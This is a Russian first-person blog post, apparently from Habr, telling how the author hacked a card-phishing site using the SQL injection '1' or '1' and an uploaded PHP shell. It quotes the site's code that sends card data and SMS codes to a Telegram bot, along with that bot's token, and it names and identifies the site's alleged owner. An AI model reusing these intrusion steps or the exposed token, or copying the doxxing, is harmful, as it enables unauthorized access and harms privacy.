Как я хакера ловил
Введение
Одним февральским вечерком я был занят поиском места для романтичного свидания со своей возлюбленной. Через какое-то время мое внимание привлек сайт milleniumfilm.ru, не доступный в настоящее время. Сайт предоставлял услуги аренды небольших кинозалов для частного просмотра. Красивые картинки, умеренные цены, есть онлайн поддержка, одно но: данные банковской карты предлагалось ввести на не защищенной странице этого же домена. Насторожившись, я написал в техподдержку сайта, и мошенники не заставили себя долго ждать — поняв, что я достаточно технически грамотен послали меня на 3 буквы. Конечно, мошенникам нет смысла тратить на меня время, но зачем так грубо? — В любой ситуации нужно оставаться Человеком.
С отзывами о сайтах такого же плана можно ознакомиться тут: zhaloba-online.ru. Некоторые из них даже до сих пор работают.
Взлом
Чувствуя вселенскую несправедливость, я принялся изучать сайт на предмет уязвимостей.
Ткнув пальцем в небo Первый введеный адрес привел меня в панель администратора, который вежливо просил указать «Логин» и «Пароль».
Первая же попытка SQL-инъекции
1' or '1
дала мне доступ к настройкам сайта.
Сайт создателя данного творения Gelloiss.ru красовался на первой же странице. Особенно интересным оказался раздел «Банковские карты» — там отображались все введенные данные: фамилия и имя держателя карты, номер карты, срок действия, cvc2 и код подтверждения из смс.
Часть данных закрашена.
На странице «Настройка фильмов» была достаточно простая форма для формирования тексто-графических блоков. Функция загрузки картинки не фильтровала контент загружаемых файлов, что навело на мысль о возможности залить php-shell. Шелл успешно залился в /images/, откуда я его скопировал в корень сайта под названием login.php. Получив доступ к консоли, я принялся изучать внутренности сайта.
$ cat telegram.php <? function send_mess($text) { $token = "626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs"; $mess = $text; $chat = "-302359340"; /*return "<iframe style='width:500px; height:500px;' src='https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess."'></iframe>";*/ file_get_contents("https://api.telegram.org/bot".$token."/sendMessage?chat_id=".$chat."&parse_mode=html&text=".$mess); }
PHP скрипт содержал в себе токен телеграм-бота и отправлял сообщения в чат при вызове функции send_mess. Поискав по коду сайта стало ясно, что именно с помощью телеграм-бота злоумышленнику отправляются данные карт, смс код.
grep:
./cart.php:22:send_mess("Имя клиента: ".$name."%0D%0AEmail: ".$email."%0D%0AТелефон: ".$phone."%0D%0AДата посещения: ".$date."%0D%0A"."Время: ".$time."%0D%0AГород: ".$city."%0D%0AСумма: ".$sum."%0D%0AСписок заказанных услуг: ".$services."%0D%0AIP: ".$ip."%0D%0AЗабанить: ".$link_ban_ip); ./pay/ms.php:21: send_mess("Сумма: ".$sum."%0D%0AИмя владельца карты: ".$name."%0D%0AНомер карты: ".$num."%0D%0AСрок годности, месяц: ".$month."%0D%0AГ од: ".$year."%0D%0Acvv: ".$cvv);
Что ж, у нас есть токен телеграм-бота, chat_id, адрес создателя сайта на котором красуется skype «ura7887» и telegram «Gelloiss» (раньше telegram не был указан, потому для того чтобы убедиться что telegram-аккаунт принадлежит владельцу сайта я использовал наживку).
Выясним, кто создал чат, в который бот отсылает сообщения.
curl
$ curl "https://api.telegram.org/bot626852480:AAFdn7L61QCMZEAVW7dsdnRGiLINp6d_pgs/getChatAdministrators?chat_id=-302359340" {"ok":true,"result":[{"user":{"id":365019332,"is_bot":false,"first_name":"Iskr\u00e1","username":"Gelloiss","language_code":"ru"},"status":"creator"}]}
Как видно создатель чата имеет такой же username как и сайт создателя — «gelloiss».
Поиск
Помните: интернет ничего не забывает! Поиск по ключевым словам: «gelloiss», «ura7887», привел меня на страницу вконтакте Юрия Искры, где указан как сайт «Gelloiss.ru», так и skype «ura7887».
А вот тут: vk.com видно, что данным скайп логином Юрий пользовался еще 6 лет назад, когда ему было 14 лет.
Проверка telegram
На момент начала истории, на сайте Gelloiss.ru не был указан логин telegram, потому мне нужно было связать владельца telegram-аккаунта с владельцем сайта или страницей вконтакте. Для этого я создал некий маркер, который владелец telegram-аккаунта должен будет разместить у себя.
shell
$ sha256sum <<< "i'm carder yuri
iskra."a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8 -
Далее я написал в telegram и представившить потенциальным заказчиком предложил пройти проверку: попросил разместить маркер a4e0bb4a6d6a214cadd6f6fa96d91c1401d50f01a5cc157b2f56079400e24af8 на странице вконтакте.
Заключение
Лично у меня не осталось сомнений, что страница вконтакте принадлежит злоумышленнику. На момент взлома сайта, в базе данных было не менее 100 различных номеров карт, а к моменту закрытия сайта еще +100.
В заключение давайте посмотрим, где учится наш «герой». Это легко определить посмотрев где учатся его «друзья по вузу» на странице вконтакте.
Продолжение следует
Мне удалось получить доступ к сообщениям, которые отсылает бот. Масштабы бедствия поражают: за 3 месяца телеграм-бот отослал примерно 13 тысяч сообщений. Даже если предположить, что всего-лишь пятая часть полученных данных валидна, то список пострадавших превысит 2 тысячи человек. Хакер работает не один, а с сообщниками, которые завлекают клиентов и помогают с переводом средств. На данный момент злоумышленники получают паспортные данные, телефоны и номера карт с сайта moneyonline.world.
Источник: habr.com